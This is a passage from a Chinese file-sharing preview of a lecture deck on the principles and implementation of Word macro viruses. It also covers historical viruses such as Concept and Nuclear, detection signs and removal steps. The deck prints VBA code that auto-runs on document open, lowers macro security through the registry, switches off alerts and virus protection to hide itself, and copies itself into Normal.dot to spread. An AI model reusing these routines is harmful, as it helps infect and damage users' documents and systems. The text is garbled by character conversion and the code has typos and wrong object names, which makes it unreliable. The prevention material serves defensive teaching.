宏病毒原理及實(shí)現(xiàn)_第1頁(yè)
宏病毒原理及實(shí)現(xiàn)_第2頁(yè)
宏病毒原理及實(shí)現(xiàn)_第3頁(yè)
宏病毒原理及實(shí)現(xiàn)_第4頁(yè)
宏病毒原理及實(shí)現(xiàn)_第5頁(yè)
已閱讀5頁(yè),還剩34頁(yè)未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

宏病毒的原理及實(shí)現(xiàn)宏〔macro),就是軟件設(shè)計(jì)者為了在使用軟件工作時(shí),防止一再的重復(fù)相同的動(dòng)作而設(shè)計(jì)出來的一種工具。它利用簡(jiǎn)單的語法,把常用的動(dòng)作寫成宏,當(dāng)再工作時(shí),就可以直接利用事先寫好的宏自動(dòng)運(yùn)行,去完成某項(xiàng)特定的任務(wù),而不必再重復(fù)相同的動(dòng)作。什么是“宏〞?MicrosoftOffice、wps等辦公軟件魔獸世界、劍網(wǎng)等游戲

哪里用到“宏〞?Office宏的定義:MicrosoftWord中對(duì)宏定義為:“宏就是能組織到一起作為一獨(dú)立的命令使用的一系列word命令,它能使日常工作變得更容易〞

宏語言宏語言即VISUALBASICFORAPPLICATION,簡(jiǎn)稱VBA。VBA可以訪問許多操作系統(tǒng)函數(shù)并支持文檔翻開時(shí)自動(dòng)執(zhí)行宏

——這使得用這種語言寫計(jì)算機(jī)病毒成為可能Office各版本及其宏語言年份Office版本宏語言1987Excel4.0formula1991Excel5.0VBA31993Word6.0WordBasic1997Office97applicationsVBA51999Office2000(WORD10)VBA62001OfficeXPVBA6.22003Office2003(WORD11)VBA6.32006Office2007(WORD12)VbA6.5word創(chuàng)立宏Word提供了兩種創(chuàng)立宏的方法:宏錄制器和VisualBasic編輯器。宏錄制器可幫助用戶開始創(chuàng)立宏。Word在VBA

編程語言中把宏錄制為一系列的Word命令??稍赩isualBasic

編輯器中翻開已錄制的宏,修改其中的指令。也可用VisualBasic

編輯器創(chuàng)立包括VisualBasic指令的非常靈活和強(qiáng)有力的宏,這些指令無法采用錄制的方式?;趙ord的VBA編程SubAutoOpen()’定義函數(shù)名,AutoXXX為自動(dòng)宏WhileTrue’惡意代碼,死循環(huán)Msgbox〞Helloworld〞’調(diào)用對(duì)話框顯示消息WendEndSub’函數(shù)到此結(jié)束基于word的VBA編程SubAutoOpen()Command.Caption=Shell"C:\ProgramFiles\InternetExplorer\IEXPLORE.EXE"

vbNormalFocusFori=1To10……Documents.Add’新添加一個(gè)word文檔NextiEndSub

Word應(yīng)用的層次Documents(所有的文檔)Document(一個(gè)文檔)Templates(所有模板)Windows(所有窗口)SelectionStyleRange…………調(diào)用操作系統(tǒng)Shell函數(shù)翻開已安裝的應(yīng)用程序Office有了宏,宏在office中的什么位置?為了方便人們使用宏以及宏文件的傳遞使用,Word定義出一種文件格式,將文檔以及該文檔所需要的宏合在一起放在后綴為.dot的文件之中。正因?yàn)檫@種是宏也是資料的文檔格式,便產(chǎn)生了宏感染的可能性。但是,Normal.dot上不能用來存儲(chǔ)數(shù)據(jù),每次修改后都需另外保存。有沒有一種文檔格式,既可以存儲(chǔ)宏,又可以用來存儲(chǔ)數(shù)據(jù)????一、模板文件格式:

.dot文檔:模板文檔,新文檔繼承模板的屬性〔宏、菜單、格式等〕。

Normal.dot文件:全局模板,在建立整個(gè)文檔中所起的作用是作為一個(gè)基類,是新建文檔默認(rèn)的模板。

二、數(shù)據(jù)文件格式

.doc———一種可以存貯宏的普通文檔;.docx——一種不包含宏的普通文檔;

.docm——一種包含宏或啟用了宏的文檔;

.dotx——一種不包含宏的模板;

.dotm——一種包含宏或啟用了宏的模板。

宏就在office文檔里用普通文檔即可傳播宏文件

寫代碼簡(jiǎn)單,傳播更簡(jiǎn)單,那么,我們可不可以做點(diǎn)別的事?

其實(shí)宏病毒的出現(xiàn)并非出乎人們的意料,早在80年代后期就有專家預(yù)言過。那時(shí),有些學(xué)生就用某些應(yīng)用程序的宏語言編寫病毒。然而,宏病毒與普通病毒不同,它不感染.EXE或.COM文件,而只感染文檔文件。宏病毒就像自然界中令人恐懼的龍卷風(fēng),對(duì)人們正常使用計(jì)算機(jī)進(jìn)行學(xué)習(xí)和工作帶來了不可估量的影響,同時(shí)也造成了社會(huì)財(cái)富的巨大浪費(fèi)。1.Concept宏病毒

世界上的第一個(gè)宏病毒Concept可以感染W(wǎng)indows和蘋果機(jī)上的MicrosoftWord文檔。這個(gè)病毒是用MicrosoftWord6.0中的宏語言編寫的,但它也能感染其他Word版本創(chuàng)立的文檔。

看起來編寫Concept宏病毒是為了證明確實(shí)可以用宏編程語言編寫病毒。因此,Concept宏病毒只是顯示一個(gè)對(duì)話框,宣示它的存在,并不成心破壞磁盤上的任何文件。2Nuclear宏病毒這是一個(gè)對(duì)操作系統(tǒng)文件和打印輸出有破壞功能的宏病毒。這個(gè)宏病毒中包含以下病毒宏:AutoExecAutoOpenDropSurivFileExitFilePrintFilePrintDefaultFileSaveAs這些宏是只執(zhí)行〔Execute-only〕宏Nuclear宏病毒造成的破壞現(xiàn)象為:〔1〕翻開一個(gè)染毒文檔井打印的時(shí)候,它會(huì)在您打印的最后一段加上“STOPALLFRENCHNUCLEARTESTINGINTHEPACIFIC!〞,這個(gè)現(xiàn)象是在每分鐘的55秒~60秒之間操作打印時(shí)發(fā)生。〔2〕如果在每天17:00~18:00之間翻開一個(gè)染毒文檔,Nuclear病毒會(huì)將PH33R病毒傳染到計(jì)算機(jī)上,這是個(gè)駐留型病毒?!?〕在每年的4月5日,該病毒會(huì)將計(jì)算機(jī)上IO.SYS和MSDOS.SYS文件清零,并且刪除C盤根目錄上的COMMAND.COM文件。一旦病毒發(fā)作,MSDOS就不可能被引導(dǎo),計(jì)算機(jī)將陷入癱瘓。3臺(tái)灣一號(hào)病毒臺(tái)灣一號(hào)病毒會(huì)在每月的13日影響您正常使用Word文檔和編輯器。它包含以下病毒宏:AutoClose、AutoNew、AutoOpen這些宏是可被編輯宏。在病毒宏中含有如下的語句:IfDay(Now())=13Then...這條語句與13日有關(guān)。臺(tái)灣一號(hào)病毒造成的危害是:在每月13日,假設(shè)用戶使用Word翻開一個(gè)帶毒的文檔〔模板〕時(shí),病毒會(huì)被激發(fā)。激發(fā)時(shí)的現(xiàn)象是:在屏幕正中央彈出一個(gè)對(duì)話框,該對(duì)話框提示用戶做一個(gè)心算題,如做錯(cuò),它將會(huì)無限制地翻開文件,直至Word內(nèi)存不夠,Word出錯(cuò)為止;如心算題做對(duì),會(huì)提示用戶“什么是巨集病毒〔宏病毒〕?〞,答復(fù)“我就是巨集病毒〞,再提示用戶:“如何預(yù)防巨集病毒?〞,答復(fù)是“不要看我〞。2.1宏病毒簡(jiǎn)介什么是宏病毒?宏病毒是一種存放在文檔或模板的宏中的計(jì)算機(jī)病毒。一旦翻開這樣的文檔,其中的宏自動(dòng)被執(zhí)行,于是宏病毒就會(huì)被激活,轉(zhuǎn)移到計(jì)算機(jī)上,并駐留在Normal模板上。從此以后,所有自動(dòng)保存的文檔都會(huì)“感染〞上這種宏病毒,而且如果其他用戶翻開了感染病毒的文檔,宏病毒又會(huì)轉(zhuǎn)移到他的計(jì)算機(jī)上。宏病毒的特點(diǎn)〔1〕宏病毒會(huì)感染.DOC文檔和.DOT模版文件?!?〕宏病毒的傳染通常是WORD在翻開一個(gè)帶宏病毒的文檔或模版時(shí),激活宏病毒?!?〕多數(shù)宏病毒包含AutoOpen、AutoClose、AutoNew和AutoExit等自動(dòng)宏,通過這些自動(dòng)宏病毒取得文檔(模版)操作權(quán)。〔4〕宏病毒中總是含有對(duì)文檔讀寫操作的宏命令?!?〕病毒原理簡(jiǎn)單,制作比較方便。〔6〕傳播速度相對(duì)較快。WORD宏病毒的生命周期21→編程語言:VBA、WordBasic等→運(yùn)行環(huán)境:VBEWord宏病毒的感染過程宏病毒原理大揭秘1、降低宏平安級(jí)別以office2003版為例

IfApplication.Version<>“11.0〞Then’判斷office版本

strFullname=ThisWorkbook.FullName'取得當(dāng)前工作薄的全名

strVBS=Replace(UCase(strFullname),".XLS",".vbs")‘temp文件VBS的文件名

SetWSH=CreateObject(“Wscript.Shell〞)’創(chuàng)立Wscript對(duì)象

Err.Clear

OnErrorResumeNext’出錯(cuò)不提示,繼續(xù)

regStr="HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\Security\Level“'注冊(cè)表中Excelvba平安級(jí)別位置

ret=WSH.RegRead(regStr)'讀取當(dāng)前平安級(jí)別

IfErr.Number<>0Then

'判斷讀取是否成功

vbOKOnly+vbCritical,"Keanjeason"

ExitSub

Else

'如果當(dāng)前ExcelVBA平安級(jí)別不為“低〞,那么設(shè)置為“低〞,值1-4分別對(duì)應(yīng):低,中,高,非常高IfVal(ret)<>1Thenret=WSH.RegWrite(regStr,"1","REG_DWORD")

EndIf1、用戶使用Word執(zhí)行翻開文檔、保存文檔、打印文檔和關(guān)閉文檔等操作時(shí),Word會(huì)查找指定的標(biāo)準(zhǔn)宏:例1:關(guān)閉文檔之前查找“FileSave〞宏,如果存在,首先執(zhí)行這個(gè)宏例2:打印文檔之前首先查找“FilePrint〞宏,如果存在那么執(zhí)行這個(gè)宏2、Word中另外還有一些以“Auto〞開始的宏〔自動(dòng)宏〕,如“AutoOpen〞、“AutoClose〞等,如果建立了這些宏,翻開/關(guān)閉文檔的時(shí)候?qū)⒆詣?dòng)執(zhí)行這些宏,這些宏一般是全局宏,對(duì)任何Word文檔都有效。

病毒觸發(fā)要隱含在正常的操作中,這些自動(dòng)執(zhí)行的宏然是最好的宿主。2、文檔的控制權(quán)獲取宏病毒常用到的宏如下表所示類別宏名運(yùn)行條件自動(dòng)宏AutoExec啟動(dòng)Word或加載全局模板時(shí)AutoNew每次創(chuàng)建新文檔時(shí)AutoOpen每次打開已存在的文檔時(shí)AutoClose在關(guān)閉文檔時(shí)AutoExit在退出Word或卸載全局模板時(shí)標(biāo)準(zhǔn)宏FileSave保存文件FileSaveAs改名另存為文件FilePrint打印文件FileOpen打開文件

高明的病毒編寫者其自我保護(hù)將做得非常好,可以使word的一些工具欄失效,例如將工具菜單中的宏選項(xiàng)屏蔽,也可以修改注冊(cè)表到達(dá)很好的隱藏效果。常用代碼例如:OnErrorResumeNext'如果發(fā)生錯(cuò)誤,不彈出出錯(cuò)窗口,繼續(xù)執(zhí)行下面語句Application.DisplayAlert=wdAlertsNoe'不彈出警告窗口Application.EnableCancelKey=wdCancelDisabled'不允許通過ESC鍵結(jié)束正在運(yùn)行的宏Application.DisplayStatusBar=False'不顯示狀態(tài)欄,防止顯示宏的運(yùn)行狀態(tài)Application.ScreenUpdating=False '不讓刷新屏幕,防止病毒運(yùn)行引起刷新速度變慢Option.VirusProtection=False '關(guān)閉病毒保護(hù)功能,運(yùn)行前如果包含宏,不提示Option.SaveNormalPrompt=False '如果公用模板被修改,不給用戶提示窗口而直接保存3、宏病毒的自我隱藏1、Word宏病毒一般都首先隱藏在一個(gè)指定的Word文檔中,一旦翻開了這個(gè)Word文檔,宏病毒就被執(zhí)行,宏病毒要做的第一件事情就是將自己拷貝到全局宏的區(qū)域,使得所有翻開的文檔都可使用這個(gè)宏。2、當(dāng)Word退出的時(shí)候,全局宏將被存儲(chǔ)在某個(gè)全局的模板文檔(.dot文件)中,這個(gè)文件的名字通常是“Normal.dot〞,即Normal模板。3、如果全局宏模板被感染,那么Word再啟動(dòng)的時(shí)候?qū)⒆詣?dòng)載入宏病毒并且自動(dòng)執(zhí)行。4、傳播與感染1〕得到正在操作的文檔代碼對(duì)象和公用模板的代碼對(duì)象。Ourcode=ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1,100)SetHost=NormalTemplate.VBProject.VBComponents(1).CodeModuleIfThisDocument=NormalTemplateThenSetHost=ActiveDocument.VBProject.VBComponents(1).CodeModuleEndIf2)檢查模板是否已經(jīng)感染病毒,如果沒有,那么復(fù)制宏病毒代碼到模板,并且修改函數(shù)名。WithhostIf.Lines(1,1)<>"'moonlight"Then.DeleteLines1,.CountOfLines.InsertLines3,"SubDocument_Close()"IfThisDocument=NormalTemplateThen.RbeplaceLine3,"SubDocument_Open()"ActiveDocument.SaveAsActiveDocument.FullNameEndIfEndIfEndWith宏病毒預(yù)防

宏病毒離不開可供其運(yùn)行的系統(tǒng)軟件(WORD,EXCEL等OFFICE軟件),所以宏病毒的檢測(cè)其實(shí)非常容易。只要留意一下常用的OFFICE系統(tǒng)軟件是不是出現(xiàn)了一些不正常的現(xiàn)象,就能大概知道計(jì)算機(jī)是不是染上了宏病毒。如何及時(shí)發(fā)現(xiàn)宏病毒???〔1〕全局模板中出現(xiàn)宏?!?〕無故出現(xiàn)存盤操作。〔3〕OFFICE功能混亂,無法使用?!?〕OFFICE菜單命令消失?!?〕OFFICE文檔的內(nèi)容發(fā)生變化?!?〕嘗試保存文檔時(shí),只允許將文檔保存為文檔模版的格式。〔7〕文檔圖標(biāo)的外形類似模板而非文檔圖標(biāo)。Office不正?,F(xiàn)象集錦……

感染了宏病毒后,同樣可以用防治計(jì)算機(jī)病毒的軟件來查殺,亦可采用以下方法進(jìn)行手工處理:1、通過刪除宏命令的形式刪除宏病毒。2、通過復(fù)制粘貼去除宏病毒代碼方式去除宏病毒。3、通過刪除NORMAL.DOT來除掉Word宏病毒。4、通過格式轉(zhuǎn)換去除Word宏病毒。5、通過高版本的Word發(fā)現(xiàn)病毒宏。6、為防萬一,在翻開疑心感染了宏病毒的文檔時(shí)按住SHIFT鍵,這樣可以防止宏自動(dòng)運(yùn)行,如果有宏病毒,那么不會(huì)加載宏。宏病毒的去除日常辦公中

如何去防止宏病毒?1、初級(jí)防護(hù)——設(shè)置宏平安等級(jí)36

針對(duì)Office2007Office

word選項(xiàng)

信任中心

宏設(shè)置為了防止利用“VBA〞語言編制專門破壞電腦系統(tǒng)的病毒程序,Office自帶了“宏〞檢測(cè)功能。設(shè)置宏的平安級(jí)別較高時(shí),翻開帶有“宏〞的文檔時(shí),會(huì)提示用戶注意,并讓用戶自行選擇是否啟用“宏〞?!?〕根據(jù)AUTO宏的自動(dòng)執(zhí)行的特點(diǎn),在翻開of

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

評(píng)論

0/150

提交評(píng)論